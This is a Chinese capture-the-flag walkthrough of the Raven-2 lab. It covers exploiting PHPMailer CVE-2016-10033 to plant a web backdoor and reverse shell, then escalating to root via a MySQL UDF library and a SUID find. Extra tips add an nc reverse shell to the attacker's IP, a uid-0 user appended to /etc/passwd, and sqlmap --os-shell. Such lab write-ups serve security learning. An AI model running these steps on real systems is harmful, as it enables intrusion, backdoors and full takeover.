【原创】项目三Raven-2
实战流程
1,C段扫描,并发现目标ip是192.168.186.141
nmap -sP 192.168.186.0/24
扫描目标主机全端口
nmap -p- 192.168.186.141
访问80端口的页面
2,目录爆破
dirb 192.168.186.141
枚举发现该目录:
==> DIRECTORY: http://192.168.186.141/vendor/
http://10.211.55.10/vendor/PATH 第二个目录获得flag:
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
3、http://10.211.55.10/vendor/README.md
枚举获得信息:PHPMailer
http://10.211.55.10/vendor/VERSION
枚举获得信息:5.2.16
这时候去找EXP!
4、谷歌:PHPMailer 5.2.16 exp
CVE-2016-10033
点击第一条就能发现:https://www.exploit-db.com/exploits/40974
searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/whoami/poc
将exp考出,需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.186.141/contact.php
42行:后门名称:/heiyu.php
44行:改下回弹的IP和端口 192.168.186.130 6666
47行:改下写入shell的目录:/var/www/html/heiyu.php
5、执行exp
python3 40974.py
tips:
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
访问http://192.168.186.141/contact.php,此时就会生成后门文件heiyu.php
本地开启监听:nc -vlp 6666
访问:http://192.168.186.141/heiyu.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'
6、找寻flag
find / -name flag*
发现两个flag!读取:
cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
访问:
http://192.168.186.141/wordpress/wp-content/uploads/2018/11/flag3.png
获得flag3!
7、wordpress目录枚举
在flag3目录下发现了wordpress目录,然后进行枚举
grep "内容" -rn
grep "password" -rn wp-config.php
进入查看
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
获得mysql账号密码信息!
查看mysql进程信息
ps aux | grep root
查看历史安装包版本
dpkg -l | grep mysql
5.5.6
mysql是root权限运行的,那么接下来就找mysql提权的方法.
8、mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
mysql -uroot -pR@v3nSecurity
select version(); ---查看版本
show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.
首先看一下是否满足写入条件:
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';
查看能否远程登陆:
use mysql;
select user,host from user;
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/whoami/poc
exp编译执行
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o heiyu.so 1518.o -lc
攻击机开启http服务
目标机进入tmp目录,并下载heiyu.so文件
show databases;
use mysql
select database();
进入数据库创建数据表heiyu:
create table heiyu(line blob);
查看表;
desc heiyu;
插入数据文件:
insert into heiyu values(load_file('/tmp/heiyu.so'));
heiyu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'heiyu.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令
使用find执行 shell
touch heiyu
find heiyu -exec "/bin/sh" \;
或者:find heiyu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}
搞定!
扩展知识点
拓展知识点:或者利用sys_exec、sys_eval
select do_system('nc -nv 192.168.186.130 6677 -e /bin/bash');
-------------------
openssl passwd heiyu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su heiyu
------------------------
仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg
-------------------
cewl http://10.211.55.10/wordpress/ -w user.txt
git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
cd CVE-2018-15473-Exploit/
pip3 install -r requirements.txt
proxychains pip3 install --upgrade paramiko==2.4.1
--------------
如果可以远程:
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell
脑图
【原创】项目三Raven-2的更多相关文章
- 在Tomcat下部属项目三种方式:
在Tomcat下部属项目三种方式: 1直接复制: 2. 通过配置虚拟路径的方式 直接修改配置文件 写到tomcat/conf/server.xml 找到<H ...
- android 实践项目三
android 实践项目三 本周我主要完成的任务是将代码进行整合,然后实现百度地图的定位与搜索功能.在这次实现的 图形界面如下: 在本周的工作中主要的实现出来定位与收索的功能,在地图中能实现了定位,显 ...
- crm 系统项目(三) 自动分页
crm 系统项目(三) 自动分页 需求: 1. 做一个自动分页, 每15条数据1页 2. 让当前页数在中间显示 3. 上一页, 下一页 注意情况: 1.总页数 小于 规定显示的页数 2. 左右两边极值 ...
- Java实验项目三——职工类对象数组按照职工生日排序
Program: 修改项目三(1)中的第3题,实现比较方法,将对象数组的数据按照生日的大小给职工排序. Description:令日期类MyDate和员工类Worker类实现接口Comparable, ...
- Weblogic部署项目三种方式
在weblogic中部署项目通常有三种方式:第一,在控制台中安装部署:第二,将部署包放在domain域中autodeploy目录下部署:第三,使用域中配置文件config.xml 进行项目的部署. 控 ...
- 【原创】三分钟教你学会MVC框架——基于java web开发(2)
没想到我的上一篇博客有这么多人看,还有几位看完之后给我留言加油,不胜感激,备受鼓励,啥都别说了,继续系列文章之第二篇.(如果没看过我第一篇博客的朋友,可以到我的主页上先浏览完再看这篇文章,以免上下文对 ...
- tomcat deploy部署项目三种方法
1.将应用文件夹或war文件直接copy到tomcat的webapps目录下,这样tomcat启动的时候会将webapps目录下的文件夹或war文件的内容当成应用部署.这种方式最简单且无须书写任何配置 ...
- 十二周项目三(4)——出口fibnacci第一序列20的数量
/* * Copyright (c) 2014, 烟台大学计算机学院 * All rights reserved. * 文件名:test.cpp * 作者:陈丹妮 * 完毕日期:2014年 11 月 ...
- docker部署项目 <三>
使用docker运行一个控制台项目,新建一个控制台测试项目 一.安装mono,直接在网易镜像中心找下载路径 docker pull hub.c..com/library/mono:latest 二.安 ...
随机推荐
- 使用cookie/session实现简单的用户信息的保存
cookie一般用来存储非关键信息 , 用户名和密码等敏感信息一般采用session 来存储:cookie和session的最大区别是当服务器端存储session 之后,用户再次请求时候只是请求了一个 ...
- css过渡效果和盒子缩放大小的结合
给盒子一个鼠标经过时放大里面的图片效果在css中使用过渡效果transition结合 <html lang="en"> <head> <meta ch ...
- 记一次使用git报错,解决Unable to negotiate with **** port 22: no matching host key type found. Their offer: ssh-rsa
windows电脑重装系统,去官网下载了最新的git安装,一路next下来,打开bash按老路子设置,生成公钥 git config --global user.name "yourname ...
- php代码审计之——phpstorm动态调试
xdebug调试 调试环境部署 xdebug的版本需要与PHP版本相对于,所以不要轻易改变PHP环境版本. 0 配置php解析器 1 下载对应版本的xdebug xdebug官网下载地址:https: ...
- 使用 Jenkins 进行持续集成与发布流程图-图解
- Spring核心 IoC和AOP原理
1. 什么是Spring Spring是一个轻量的Java开源框架,它简化了应用开发,实现基于POJO的编程模型.它的两大核心是:IoC(控制反转),AOP(面向切面编程). 2. IoC控制反转 简 ...
- OpenHarmony 3.1 Beta版本关键特性解析——探秘隐式查询
(以下内容来自开发者分享,不代表 OpenHarmony 项目群工作委员会观点) 徐浩 隐式查询是 OpenAtom OpenHarmony(以下简称"OpenHarmony" ...
- 001_iBase4J学习之环境搭建
目录 序言 正文 第一关.拉取项目 第二关.导入数据库 第三关.修改 JDBC 配置文件 第四关.环境搭建,修改 nginx 设置 第五关.添加地址白名单 尾声 序言 大家好,我是白墨! 本次的目标是 ...
- 2022.02.27 CF811E Vladik and Entertaining Flags
2022.02.27 CF811E Vladik and Entertaining Flags https://www.luogu.com.cn/problem/CF811E Step 1 题意 在一 ...
- Vue生产环境调试的方法
vue 生产环境默认是无法启用vue devtools的,如果生产应用出了问题,就很难解决.. 原理 先说下vue如何判断devtools是否可用的. vue devtools扩展组件会在window ...